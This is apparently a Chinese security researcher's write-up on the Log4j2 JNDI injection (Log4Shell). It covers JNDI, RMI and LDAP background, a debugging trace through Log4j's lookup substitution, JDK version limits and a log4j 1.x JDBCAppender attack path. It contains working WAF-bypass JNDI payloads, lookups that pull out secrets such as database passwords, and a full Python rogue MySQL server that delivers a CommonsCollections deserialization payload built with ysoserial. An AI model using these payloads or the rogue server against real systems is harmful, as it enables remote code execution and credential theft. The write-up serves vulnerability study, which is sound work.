log4j2 JNDI注入分析筆記
前言
Apache Log4j2是一款優秀的Java日志框架,最近爆出了一個jndi注入的漏洞,影響面非常廣,各大廠商都被波及。Log4j2作為日志記錄的第三方庫,被廣泛得到使用,這次主要分享一下,最近的一些調試記錄。
JNDI簡介
JNDI 全稱為 Java Naming and Directory Interface,即 Java 名稱與目錄接口。本質上就是一個接口,ND代表的Naming 和 Directory,分別代表Naming Service(名稱服務)和Directory Service(目錄服務)。參考JNDI 注入漏洞的前世今生
名稱服務就是通過名稱查找實際對象的服務,例如:通過域名尋找ip地址即DNS服務、文件系統、以及LDAP( Lightweight Directory Access Protocol)即輕量級目錄訪問協議都是名稱服務,不同的是LDAP(RFC2251(RFC4511) )是一個協議,是和HTTP一樣是通用的,而不止局限于JAVA.目錄服務是名稱服務的一種拓展,除了名稱服務中已有的名稱到對象的關聯信息外,還允許對象擁有屬性(attributes)信息。由此,我們不僅可以根據名稱去查找(lookup)對象(并獲取其對應屬性),還可以根據屬性值去搜索(search)對象。目錄服務也是一種特殊的名稱服務,關鍵區別是在目錄服務中通常使用搜索(search)操作去定位對象,而不是簡單的根據名稱查找(lookup)去定位。
JNDI 架構上主要包含兩個部分,即 Java 的應用層接口和 SPI,SPI 全稱為 Service Provider Interface,即服務供應接口,主要作用是為底層的具體目錄服務提供統一接口,從而實現目錄服務的可插拔式安裝,如下圖所示:

如上JNDI為不同的目錄服務提供統一的操作接口
JDK 中包含了下述內置的目錄服務:
- RMI: Java Remote Method Invocation,Java 遠程方法調用;
- LDAP: 輕量級目錄訪問協議;
- CORBA: Common Object Request Broker Architecture,通用對象請求代理架構,用于 COS 名稱服務(Common Object Services);
RMI
RMI(Remote Method Invocation)即java的遠程方法調用,Java RMI是專為Java環境設計的遠程方法調用機制,遠程服務器實現具體的Java方法并提供接口,客戶端本地僅需根據接口類的定義,提供相應的參數即可調用遠程方法并獲取執行結果,即JAVA的RPC機制。關于RMI需要注意以下兩點:
- RMI的傳輸是基于反序列化的。
- 對于任何一個以對象為參數的RMI接口,你都可以發一個自己構建的對象,迫使服務器端將這個對象按任何一個存在于服務端classpath(不在classpath的情況,可以看后面RMI動態加載類相關部分)中的可序列化類來反序列化恢復對象。
更多可以參考:https://paper.seebug.org/1091/#java-rmi_1
LDAP
LDAP即是JNDI SPI支持的Service Provider之一,但同時也是協議。是早期 X.500 DAP (目錄訪問協議) 的一個子集,因此有時也被稱為 X.500-lite。LDAP目錄服務是由目錄數據庫和一套訪問協議組成的系統,目錄服務是一個特殊的數據庫,用來保存描述性的、基于屬性的詳細信息,能進行查詢、瀏覽和搜索,以樹狀結構組織數據。LDAP目錄服務基于客戶端-服務器模型,它的功能用于對一個存在目錄數據庫的訪問。LDAP目錄和RMI注冊表的區別在于是前者是目錄服務,并允許分配存儲對象的屬性。
LDAP 的目錄信息是以樹形結構進行存儲的,在樹根一般定義國家(c=CN)或者域名(dc=com),其次往往定義一個或多個組織(organization,o)或組織單元(organization unit,ou)。一個組織單元可以包含員工、設備信息(計算機/打印機等)相關信息。
一些定義:

漏洞環境
pom.xml"1.0" encoding="UTF-8"?><project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0modelVersion> <groupId>org.examplegroupId> <artifactId>log4j-testartifactId> <version>1.0-SNAPSHOTversion> <dependencies> <dependency> <groupId>org.apache.logging.log4jgroupId> <artifactId>log4j-apiartifactId> <version>2.9.0version> dependency> <dependency> <groupId>org.apache.logging.log4jgroupId> <artifactId>log4j-coreartifactId> <version>2.9.0version> dependency> dependencies>
project>log4jTest.javaimport org.apache.logging.log4j.LogManager;
public class log4jTest { //獲取日志記錄器Logger,名字為本類類名 private static final Logger logger = LogManager.getLogger(); public static void main(String[] args) { for(int i=0;i<2;i++){ logger.error("${jndi:ldap://$xxxx}"); } }}
漏洞分析
產生原因
Log4j2默認提供了Lookups功能,查找提供了一種在任意位置向 Log4j 配置添加值的方法。它們是實現StrLookup接口的特定類型的插件。其中包括了對JNDI
Lookup的支持,但是卻未對傳入內容進行任何限制,導致攻擊者可以JNDI注入,遠程加載惡意類到應用中,從而RCE。
流程分析
這里使用idea進行動態調試。
首先f7跟進error方法:

到達isEnabled,這里有個限制就是log 的level等級必須大于或等于配置的level,在測試的幾個版本中,不配置的情況下默認為ERROR,所以info之類的很多無法觸發漏洞,log4j2中, 共有8個級別,從低到高為:ALL < TRACE < DEBUG < INFO < WARN < ERROR < FATAL < OFF。

在
org.apache.logging.log4j.core.pattern.MessagePatternConverter \#format
處會對this.config和this.noLookups進行判斷,然后循環讀取,當遇到${
就會觸發
config.getStrSubstitutor().replace(event, value)
對value進行進一步的格式化處理。

跟進replace函數:

繼續跟進substitute函數,這里主要是遞歸去處理我們傳入的內容,其中prefixMatcher和suffixMatcher分別匹配${和}。

配置到${和}之后,就會把括號內的值賦給varName:


在374行會varName會作為參數傳給resolveVariable:


然后一路跟下去,resolveVariable方法這里則直接根據不同的協議選擇相應的lookup邏輯進行解析執行,通過log4j-core 自帶的JndiLookup進行處理JNDI URL, getVariableResolver()獲取支持的協議{date, ctx, main, sys, env, sd, java, marker, jndi, jvmrunargs, bundle, map, log4j},不同的版本支持的協議略有不同,比如2.14.1支持的是{date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j},所以2.15.0 rc1一些waf繞過也不是通用的。

最終在jndiManager類,用java原生的javax.naming.InitialContext.lookup 去訪問,這一步是經典的JNDI注入,從而造成RCE。

WAF 繞過
由于整個處理過程是遞歸進行的,遇到${}就會處理一次,最后會把處理好的內容拼接在一起,然后傳值給resolveVariable方法,然后根據不同的協議進行進入相應的lookup方法,并且還內置一些分隔符的處理邏輯,例如:":-",造成一些繞過。

可以構造這樣的payload:
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://127.0.0.1:1389/Exploit.class}
當匹配到":-"會進行下面的處理,會把匹配${}轉化為字符數組,然后對這個數組進行遍歷,遇到":-"就會使用substring函數把":-"之前的內容包括給":-"截掉,這里":-"不分先后,例如"-:",因為是作為一個數組匹配的,只要在一起就行。所以便有了千奇百怪的繞waf手法。

substitute會遞歸處理每一個${},第一輪"::-j"會被換為"j"。

所以還可以用lower, upper等支持的協議進行一些繞過,例如:
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
但是部分版本支持的協議不太一樣,這點需要注意一下。部分版本不支持lower, upper等協議,例如:2.9.0

外帶敏感信息
在不能RCE的情況下,可以通過dnslog等方式外帶一些敏感信息,例如
${hostName}
${sys:user.dir}
${sys:java.version}
${java:os}
.........
更多可以參考官方的https://www.doc?s4dev.com/docs/zh/log4j2/2.x/all/manual-lookups.html#JndiLookup支持的協議用法
@淺藍師傅發現了危害更大一種利用方式,就是利用Bundle協議讀取項目配置文件來獲取敏感信息,例如讀取 springboot 的application.properties 配置文件獲取 redis、mysql 的配置項等敏感信息:
${bundle:application:spring.datasource.password}
RCE的一些限制
JNDI注入有很多種不同的利用pyload,但是都存在一些限制條件。
JDK 中默認支持的 JNDI 自動協議轉換以及對應的工廠類如下所示:

RMI
從JDK 6u45、7u21開始,java.rmi.server.useCodebaseOnly 的默認值就是true。當該值為true時,將禁用自動加載遠程類文件,僅從CLASSPATH和當前VM的java.rmi.server.codebase 指定路徑加載類文件。從JDK 6u132, JDK 7u122, JDK 8u113 中Java提升了JNDI 限制了Naming/Directory服務中JNDI Reference遠程加載Object Factory類的特性。系統屬性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默認值變為false,即默認不允許從遠程的Codebase加載Reference工廠類。
LDAP
2018年10月,對LDAP Reference遠程工廠類的加載增加了限制,在Oracle JDK 11.0.1、8u191、7u201、6u211之后com.sun.jndi.ldap.object.trustURLCodebase 屬性的默認值被調整為false,
手動開啟上面的屬性,可以通過代碼實現,如下:
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
繞過JDK版本限制
繞過一般需要利用受害者CLASSPATH的類,依賴于本地的Gadget,常用的有下面兩種手法:
- 找到一個受害者本地CLASSPATH中的類作為惡意的Reference Factory工廠類,并利用這個本地的Factory類執行命令。
- 利用LDAP直接返回一個惡意的序列化對象,JNDI注入依然會對該對象進行反序列化操作,利用反序列化Gadget完成命令執行。
第一種繞過手法常用的是org.apache.naming.factory.BeanFactory這個類,因為它存在于Tomcat依賴包中,所以應用比較廣泛。org.apache.naming.factory.BeanFactory 在 getObjectInstance() 中會通過反射的方式實例化Reference所指向的任意Bean Class,并且會調用setter方法為所有的屬性賦值。而該Bean Class的類名、屬性、屬性值,全都來自于Reference對象,均是攻擊者可控的。
第二種繞過手法需要利用一個本地的反序列化利用鏈(如CommonsCollections),然后可以結合Fastjson等漏洞入口點和JdbcRowSetImpl進行組合利用。
log4j1.x有限制的RCE
log4j 1.x 已停產,不會發布修復版本。目前大多使用的都是log4j2.x,但是還有少部分老舊業務使用的是1.x。這里的利用方式,比較雞肋,所以只是記錄一下,結合MySQL JDBC的利用方式。這里跟JNDI沒啥關系。
環境搭建
log4j.propertieslog4j.rootLogger=DEBUG,database
log4j.appender.database=org.apache.log4j.jdbc.JDBCAppender #數據庫地址log4j.appender.database.URL=jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor log4j.appender.database.driver=com.mysql.jdbc.Driver log4j.appender.database.user=rootlog4j.appender.database.password=rootlog4j.appender.database.sql=INSERT INTO log4j (message) VALUES('%d{yyyy-MM-dd HH:mm:ss} [%5p] - %c - %m%n') #log4j.appender.database.layout=org.apache.log4j.PatternLayoutlog4j.propertieslog4j.propertiespom.xml<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0modelVersion> <groupId>org.examplegroupId> <artifactId>log4j-testartifactId> <version>1.0-SNAPSHOTversion> <dependencies> <dependency> <groupId>log4jgroupId> <artifactId>log4jartifactId> <version>1.2.17version> dependency> <dependency> <groupId>commons-collectionsgroupId> <artifactId>commons-collectionsartifactId> <version>3.2.1version> dependency> <dependency> <groupId>mysqlgroupId> <artifactId>mysql-connector-javaartifactId> <version>8.0.12version> dependency> dependencies>project>log4jTest.javaimport org.apache.log4j.Logger;import javax.naming.NamingException;public class log4jTest { //獲取日志記錄器Logger,名字為本類類名 public static void main(String[] args) throws NamingException { //PropertyConfigurator.configure ("/Users/panda/Downloads/log4jDemo/src/main/resources/log4j.properties"); Logger logger = Logger.getLogger(log4jTest.class); logger.error("error"); }}
漏洞分析
知識點
JDBC簡介
JDBC是Java DataBase Connectivity的縮寫,它是Java程序訪問數據庫的標準接口。使用Java程序訪問數據庫時,Java代碼并不是直接通過TCP連接去訪問數據庫,而是通過JDBC接口來訪問,而JDBC接口則通過JDBC驅動來實現真正對數據庫的訪問。
常用配置格式:

MYSQL JDBC反序列化漏洞原理
BlackHat Europe 2019 的議題《New Exploit Technique In Java Deserialization Attack》公布了MYSQL JDBC的反序列化利用鏈,原理是在使用MYSQL JDBC連接數據庫的時候,會執行幾個內置的sql查詢語句,其中SHOW SESSION STATUS和SHOW COLLATION兩個查詢的結果集在MySQL客戶端被處理時會調用ObjectInputStream.readObject()進行反序列化操作,如果攻擊者搭建惡意MySQL服務器來控制這兩個查詢的結果集,如果JDBC連接是可控的,那么就能觸發MySQL JDBC客戶端反序列化漏洞。(需要mysql-java-connector <8.0.23)。
mysql惡意服務器# coding=utf-8import socketimport binasciiimport os
greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"response_ok_data="0700000200000002000000"
def receive_data(conn): data = conn.recv(1024) print("[*] Receiveing the package : {}".format(data)) return str(data).lower()
def send_data(conn,data): print("[*] Sending the package : {}".format(data)) conn.send(binascii.a2b_hex(data))
def get_payload_content(): #file文件的內容使用ysoserial生成的 使用規則:java -jar ysoserial [Gadget] [command] > payload file= r'payload' if os.path.isfile(file): with open(file, 'rb') as f: payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8') print("open successs")
else: print("open false") #calc payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878' return payload_content
# 主要邏輯def run():
while 1: conn, addr = sk.accept() print("Connection come from {}:{}".format(addr[0],addr[1]))
# 1.先發送第一個 問候報文 send_data(conn,greeting_data)
while True: # 登錄認證過程模擬 1.客戶端發送request login報文 2.服務端響應response_ok receive_data(conn) send_data(conn,response_ok_data)
#其他過程 data=receive_data(conn) #查詢一些配置信息,其中會發送自己的 版本號 if "session.auto_increment_increment" in data: _payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000' send_data(conn,_payload) data=receive_data(conn) elif "show warnings" in data: _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000' send_data(conn, _payload) data = receive_data(conn) if "set names" in data: send_data(conn, response_ok_data) data = receive_data(conn) if "set character_set_results" in data: send_data(conn, response_ok_data) data = receive_data(conn) if "show session status" in data: mysql_data = '0100000102' mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000' mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000' # 為什么我加了EOF Packet 就無法正常運行呢?? # 獲取payload payload_content=get_payload_content() # 計算payload長度 payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4) payload_length_hex = payload_length[2:4] + payload_length[0:2] # 計算數據包長度 data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6) data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2] mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex mysql_data += str(payload_content) mysql_data += '07000005fe000022000100' send_data(conn, mysql_data) data = receive_data(conn) if "show warnings" in data: payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000' send_data(conn, payload) break
if __name__ == '__main__': HOST ='0.0.0.0' PORT = 3306
sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #當socket關閉后,本地端用于該socket的端口號立刻就可以被重用.為了實驗的時候不用等待很長時間 sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sk.bind((HOST, PORT)) sk.listen(1)
print("start fake mysql server listening on {}:{}".format(HOST,PORT))
run()
可以用ysoserial生成CC7的payload,然后運行惡意MySQL服務器進行監聽。
例如:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections7 calc > payload

放在mysql服務器的py文件同級目錄,并且運行mysq服務器。

流程分析
log4j三大組件為Logger、Appender、Layout。Logger負責收集處理日志記錄,Layout負責日志輸出的形式,而Appender負責配置日志的輸出位置和方式。
其中Appender可以配置的一種方式為數據庫輸出(JDBCAppender),通過JDBC鏈接把日志輸出到數據庫中,配置時需要配置JDBC驅動,連接字符串,用戶名,密碼以及SQL語句。
我們直接把斷點打在JDBCAppender.java的getConnection()處,因為這也是MYSQL JDBC反序列化的執行點。
調用鏈如下:

成功執行:


但是正常情況下我們是無法控制log4j的配置文件的,所以是比較雞肋的,但是一些可以動態配置服務的,例如nacos,也許可以找到利用方式。

但是不知道是否支持log4j1.x,:)。